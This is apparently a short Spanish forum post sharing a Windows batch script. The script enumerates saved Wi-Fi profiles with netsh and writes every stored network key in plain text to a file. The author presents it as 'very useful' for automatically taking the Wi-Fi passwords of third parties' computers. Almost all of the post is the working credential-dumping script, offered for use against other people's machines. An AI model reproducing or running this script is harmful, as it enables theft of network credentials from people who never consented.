Código:
@echo off
for /f "tokens=7,8" %%a in ('netsh wlan show profile') do (echo %%a %%b | find /v "lectura") >> PerfilesWifi.txt
for /f "tokens=*" %%c in ('type PerfilesWifi.txt') do (call :Contraseñas %%c)
:Contraseñas
netsh wlan show profile name=%1 key=clear >> contraseñas.txt
:eof
Una vez ejecutado el script nos creara 2 archivos en el primero nos pondra todas las redes almacenadas en el sistema y el segundo nos dara todas las claves de dichas redes almavenadas , lo mas destacable es que nos las ofrece en texto plano.
Muy util para ajenciarte las claves de ordenadores de terceros de manera automatica
Un saludo.